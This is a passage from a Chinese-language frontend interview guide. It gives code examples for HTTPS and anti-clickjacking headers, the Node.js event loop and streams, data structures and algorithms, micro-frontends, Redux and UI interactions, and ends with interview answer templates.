        return res.redirect(`https://${req.hostname}${req.url}`);
    }
    next();
});

// HSTS
app.use((req, res, next) => {
    res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
    next();
});

点击劫持

// X-Frame-Options
app.use((req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    next();
});

// CSP frame-ancestors
res.setHeader('Content-Security-Policy', "frame-ancestors 'none'");

十、Node.js 与后端基础

10.1 事件循环

// Node.js 事件循环阶段
// 1. timers: setTimeout, setInterval
// 2. pending callbacks: I/O 回调
// 3. idle, prepare: 内部使用
// 4. poll: 获取新 I/O 事件
// 5. check: setImmediate
// 6. close callbacks: close 事件

// setImmediate vs setTimeout
setTimeout(() => console.log('timeout'), 0);
setImmediate(() => console.log('immediate'));

// I/O 操作后
fs.readFile(__filename, () => {
    setTimeout(() => console.log('timeout'), 0);
    setImmediate(() => console.log('immediate'));
});

// nextTick
process.nextTick(() => {
    console.log('nextTick');
});
// 在当前阶段结束后执行,优先于所有异步操作

// queueMicrotask
queueMicrotask(() => {
    console.log('microtask');
});

10.2 Streams

// Readable Stream
const readable = fs.createReadStream('file.txt', { encoding: 'utf8' });

readable.on('data', (chunk) => {
    console.log(chunk);
});

readable.on('end', () => {
    console.log('Stream ended');
});

// Writable Stream
const writable = fs.createWriteStream('output.txt');

writable.write('Hello, ');
writable.write('World!\n');
writable.end('Done');

// Transform Stream
const uppercase = new Transform({
    transform(chunk, encoding, callback) {
        this.push(chunk.toString().toUpperCase());
        callback();
    }
});

process.stdin.pipe(uppercase).pipe(process.stdout);

// 背压处理
const readable = getReadableStreamSomehow();
const writable = getWritableStreamSomehow();

readable.on('data', (chunk) => {
    const ok = writable.write(chunk);
    if (!ok) {
        readable.pause();
    }
});

writable.on('drain', () => {
    readable.resume();
});

十一、算法与数据结构

11.1 常用数据结构

链表

class ListNode {
    constructor(value = 0, next = null) {
        this.value = value;
        this.next = next;
    }
}

class LinkedList {
    constructor() {
        this.head = null;
        this.size = 0;
    }
    
    // 添加节点
    append(value) {
        const node = new ListNode(value);
        if (!this.head) {
            this.head = node;
        } else {
            let current = this.head;
            while (current.next) {
                current = current.next;
            }
            current.next = node;
        }
        this.size++;
    }
    
    // 反转链表
    reverse() {
        let prev = null;
        let current = this.head;
        while (current) {
            const next = current.next;
            current.next = prev;
            prev = current;
            current = next;
        }
        this.head = prev;
        return this.head;
    }
    
    // 检测环
    hasCycle() {
        let slow = this.head;
        let fast = this.head;
        while (fast && fast.next) {
            slow = slow.next;
            fast = fast.next.next;
            if (slow === fast) return true;
        }
        return false;
    }
}

栈与队列

// 栈
class Stack {
    constructor() {
        this.items = [];
    }
    
    push(element) {
        this.items.push(element);
    }
    
    pop() {
        return this.items.pop();
    }
    
    peek() {
        return this.items[this.items.length - 1];
    }
    
    isEmpty() {
        return this.items.length === 0;
    }
}

// 队列
class Queue {
    constructor() {
        this.items = [];
    }
    
    enqueue(element) {
        this.items.push(element);
    }
    
    dequeue() {
        return this.items.shift();
    }
    
    front() {
        return this.items[0];
    }
    
    isEmpty() {
        return this.items.length === 0;
    }
}

// 优先队列
class PriorityQueue {
    constructor() {
        this.items = [];
    }
    
    enqueue(element, priority) {
        const queueElement = { element, priority };
        let added = false;
        for (let i = 0; i < this.items.length; i++) {
            if (queueElement.priority < this.items[i].priority) {
                this.items.splice(i, 0, queueElement);
                added = true;
                break;
            }
        }
        if (!added) {
            this.items.push(queueElement);
        }
    }
    
    dequeue() {
        return this.items.shift()?.element;
    }
}

11.2 排序算法

// 快速排序
function quickSort(arr, left = 0, right = arr.length - 1) {
    if (left < right) {
        const pivotIndex = partition(arr, left, right);
        quickSort(arr, left, pivotIndex - 1);
        quickSort(arr, pivotIndex + 1, right);
    }
    return arr;
}

function partition(arr, left, right) {
    const pivot = arr[right];
    let i = left - 1;
    
    for (let j = left; j < right; j++) {
        if (arr[j] <= pivot) {
            i++;
            [arr[i], arr[j]] = [arr[j], arr[i]];
        }
    }
    [arr[i + 1], arr[right]] = [arr[right], arr[i + 1]];
    return i + 1;
}

// 归并排序
function mergeSort(arr) {
    if (arr.length <= 1) return arr;
    
    const mid = Math.floor(arr.length / 2);
    const left = mergeSort(arr.slice(0, mid));
    const right = mergeSort(arr.slice(mid));
    
    return merge(left, right);
}

function merge(left, right) {
    const result = [];
    let i = 0, j = 0;
    
    while (i < left.length && j < right.length) {
        if (left[i] <= right[j]) {
            result.push(left[i++]);
        } else {
            result.push(right[j++]);
        }
    }
    
    return result.concat(left.slice(i), right.slice(j));
}

// 二分查找
function binarySearch(arr, target) {
    let left = 0;
    let right = arr.length - 1;
    
    while (left <= right) {
        const mid = Math.floor((left + right) / 2);
        if (arr[mid] === target) return mid;
        if (arr[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    
    return -1;
}

11.3 算法题解析

// 两数之和
function twoSum(nums, target) {
    const map = new Map();
    for (let i = 0; i < nums.length; i++) {
        const complement = target - nums[i];
        if (map.has(complement)) {
            return [map.get(complement), i];
        }
        map.set(nums[i], i);
    }
    return [];
}

// 有效括号
function isValid(s) {
    const stack = [];
    const map = { ')': '(', '}': '{', ']': '[' };
    
    for (const char of s) {
        if (char in map) {
            if (stack.pop() !== map[char]) return false;
        } else {
            stack.push(char);
        }
    }
    return stack.length === 0;
}

// LRU 缓存
class LRUCache {
    constructor(capacity) {
        this.capacity = capacity;
        this.cache = new Map();
    }
    
    get(key) {
        if (!this.cache.has(key)) return -1;
        
        const value = this.cache.get(key);
        this.cache.delete(key);
        this.cache.set(key, value);
        return value;
    }
    
    put(key, value) {
        if (this.cache.has(key)) {
            this.cache.delete(key);
        } else if (this.cache.size >= this.capacity) {
            const firstKey = this.cache.keys().next().value;
            this.cache.delete(firstKey);
        }
        this.cache.set(key, value);
    }
}

// 岛屿数量
function numIslands(grid) {
    if (!grid.length) return 0;
    
    const rows = grid.length;
    const cols = grid[0].length;
    let count = 0;
    
    function dfs(r, c) {
        if (r < 0 || r >= rows || c < 0 || c >= cols || grid[r][c] === '0') return;
        grid[r][c] = '0';
        dfs(r + 1, c);
        dfs(r - 1, c);
        dfs(r, c + 1);
        dfs(r, c - 1);
    }
    
    for (let r = 0; r < rows; r++) {
        for (let c = 0; c < cols; c++) {
            if (grid[r][c] === '1') {
                count++;
                dfs(r, c);
            }
        }
    }
    
    return count;
}

十二、系统设计与架构

12.1 前端架构模式

微前端

// Module Federation (Webpack 5)
// webpack.config.js
const { ModuleFederationPlugin } = require('webpack').container;

module.exports = {
    plugins: [
        new ModuleFederationPlugin({
            name: 'app1',
            filename: 'remoteEntry.js',
            exposes: {
                './Button': './src/Button',
                './Header': './src/Header'
            },
            shared: { 
                react: { singleton: true },
                'react-dom': { singleton: true }
            }
        })
    ]
};

// 应用中使用
import Button from 'app1/Button';

// qiankun 微前端
import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
    {
        name: 'react-app',
        entry: '//localhost:3000',
        container: '#micro-app-container',
        activeRule: '/react'
    },
    {
        name: 'vue-app',
        entry: '//localhost:8080',
        container: '#micro-app-container',
        activeRule: '/vue'
    }
]);

start();

12.2 状态管理

Redux 架构

// Action Types
const ADD_TODO = 'ADD_TODO';
const TOGGLE_TODO = 'TOGGLE_TODO';
const SET_VISIBILITY_FILTER = 'SET_VISIBILITY_FILTER';

// Actions
const addTodo = (text: string) => ({
    type: ADD_TODO,
    payload: { text, id: Date.now() }
});

const toggleTodo = (id: number) => ({
    type: TOGGLE_TODO,
    payload: { id }
});

// Reducer
interface TodoState {
    todos: Array<{ id: number; text: string; completed: boolean }>;
    visibilityFilter: string;
}

const initialState: TodoState = {
    todos: [],
    visibilityFilter: 'SHOW_ALL'
};

function todoApp(state = initialState, action: AnyAction): TodoState {
    switch (action.type) {
        case ADD_TODO:
            return {
                ...state,
                todos: [
                    ...state.todos,
                    { id: action.payload.id, text: action.payload.text, completed: false }
                ]
            };
        case TOGGLE_TODO:
            return {
                ...state,
                todos: state.todos.map(todo =>
                    todo.id === action.payload.id
                        ? { ...todo, completed: !todo.completed }
                        : todo
                )
            };
        default:
            return state;
    }
}

// Store
import { createStore, applyMiddleware } from 'redux';
import { thunk } from 'redux-thunk';

const store = createStore(todoApp, applyMiddleware(thunk));

// Async Action
const fetchUser = (id: number) => async (dispatch) => {
    dispatch({ type: 'FETCH_USER_REQUEST' });
    try {
        const response = await fetch(`/api/users/${id}`);
        const user = await response.json();
        dispatch({ type: 'FETCH_USER_SUCCESS', payload: user });
    } catch (error) {
        dispatch({ type: 'FETCH_USER_FAILURE', payload: error });
    }
};

十三、场景题与实战

13.1 性能优化场景

图片懒加载

// Intersection Observer 实现
const lazyImages = document.querySelectorAll('[data-src]');

const imageObserver = new IntersectionObserver((entries, observer) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            const img = entry.target;
            img.src = img.dataset.src;
            img.removeAttribute('data-src');
            observer.unobserve(img);
        }
    });
});

lazyImages.forEach(img => imageObserver.observe(img));

// React 懒加载组件
import { lazy, Suspense } from 'react';

const Image = ({ src, alt, placeholder }) => {
    const [loaded, setLoaded] = useState(false);
    
    return (
        <div style={{ minHeight: placeholder ? '200px' : 'auto' }}>
            <img
                src={src}
                alt={alt}
                style={{ opacity: loaded ? 1 : 0, transition: 'opacity 0.3s' }}
                onLoad={() => setLoaded(true)}
            />
        </div>
    );
};

数据分页

// 前端分页
interface PaginationState {
    page: number;
    pageSize: number;
    total: number;
    data: any[];
}

function usePagination<T>(
    fetchFn: (page: number, pageSize: number) => Promise<{ data: T[]; total: number }>
) {
    const [state, setState] = useState<PaginationState>({
        page: 1,
        pageSize: 10,
        total: 0,
        data: []
    });
    
    const loadData = async (page = state.page) => {
        const result = await fetchFn(page, state.pageSize);
        setState(prev => ({
            ...prev,
            page,
            data: result.data,
            total: result.total
        }));
    };
    
    useEffect(() => {
        loadData(1);
    }, []);
    
    const nextPage = () => loadData(state.page + 1);
    const prevPage = () => loadData(state.page - 1);
    
    return { ...state, nextPage, prevPage };
}

13.2 复杂交互实现

拖拽排序

// React 拖拽排序
import { useState } from 'react';

interface DragItem {
    id: string;
    content: string;
}

function DragList() {
    const [items, setItems] = useState<DragItem[]>([
        { id: '1', content: 'Item 1' },
        { id: '2', content: 'Item 2' },
        { id: '3', content: 'Item 3' }
    ]);
    
    const [draggedItem, setDraggedItem] = useState<DragItem | null>(null);
    
    const handleDragStart = (e: React.DragEvent, item: DragItem) => {
        setDraggedItem(item);
        e.dataTransfer.effectAllowed = 'move';
    };
    
    const handleDragOver = (e: React.DragEvent) => {
        e.preventDefault();
        e.dataTransfer.dropEffect = 'move';
    };
    
    const handleDrop = (e: React.DragEvent, targetItem: DragItem) => {
        e.preventDefault();
        
        if (!draggedItem || draggedItem.id === targetItem.id) return;
        
        setItems(prev => {
            const newItems = [...prev];
            const draggedIndex = newItems.findIndex(i => i.id === draggedItem.id);
            const targetIndex = newItems.findIndex(i => i.id === targetItem.id);
            
            newItems.splice(draggedIndex, 1);
            newItems.splice(targetIndex, 0, draggedItem);
            
            return newItems;
        });
        
        setDraggedItem(null);
    };
    
    return (
        <ul>
            {items.map(item => (
                <li
                    key={item.id}
                    draggable
                    onDragStart={(e) => handleDragStart(e, item)}
                    onDragOver={handleDragOver}
                    onDrop={(e) => handleDrop(e, item)}
                >
                    {item.content}
                </li>
            ))}
        </ul>
    );
}

十四、综合面试技巧

14.1 面试准备建议

## 技术准备

1. **基础知识**
   - JavaScript 核心(作用域、原型、异步、事件循环)
   - CSS 布局(Flexbox、Grid、响应式)
   - 浏览器原理(渲染、存储、安全)
   - 网络(HTTP/HTTPS、缓存、CORS)

2. **框架深入**
   - Vue: 响应式、虚拟 DOM、组件通信、Vue 3 新特性
   - React: Fiber、Hooks、性能优化、状态管理

3. **工程化**
   - 构建工具(Webpack、Vite)
   - 测试策略(Jest、Cypress)
   - CI/CD 流程

4. **性能优化**
   - Core Web Vitals
   - 代码分割、懒加载
   - 运行时优化

## 软技能准备

1. **项目经验**
   - STAR 法则(Situation、Task、Action、Result)
   - 技术选型理由
   - 遇到的挑战和解决方案

2. **问题分析**
   - 先理清问题需求
   - 提出多种解决方案
   - 分析优缺点
   - 选择最佳方案

3. **沟通表达**
   - 清晰表达思路
   - 适当画图说明
   - 主动确认需求

14.2 常见问题回答

## "你最大的技术挑战是什么?"

**回答模板:**
1. 描述具体场景
2. 阐述问题和影响
3. 说明解决方案
4. 总结学到的经验

**示例:**
"在之前的项目中,我们需要渲染一个包含 10 万条数据的大型表格。初始实现导致页面卡顿,FPS 只有个位数。

我通过以下方式解决:
1. 引入虚拟滚动,只渲染可视区域的数据
2. 使用 Web Worker 处理数据过滤和排序
3. 实现单元格按需渲染

最终将 FPS 提升到 60,页面加载时间从 3s 降到 200ms。

这个项目让我深入理解了渲染优化和性能分析工具的使用。"

## "你为什么选择这个技术栈?"

**回答模板:**
1. 业务需求匹配
2. 团队能力考虑
3. 性能和可维护性平衡
4. 未来扩展性

## "你如何保持技术成长?"

**回答模板:**
1. 官方文档和源码阅读
2. 技术社区参与
3. 开源项目贡献
4. 实际项目实践

总结

本面试指南涵盖了前端开发的各个核心领域,从 JavaScript 原理到框架深入,从性能优化到工程实践。建议:

  1. 理论结合实践:不仅要理解原理,更要通过实际项目巩固
  2. 深度优于广度:在一个领域深入学习,比浅尝辄止更有价值
  3. 关注最新发展:前端技术更新快,要保持学习
  4. 培养工程意识:代码质量、可维护性、可测试性同样重要

祝面试顺利!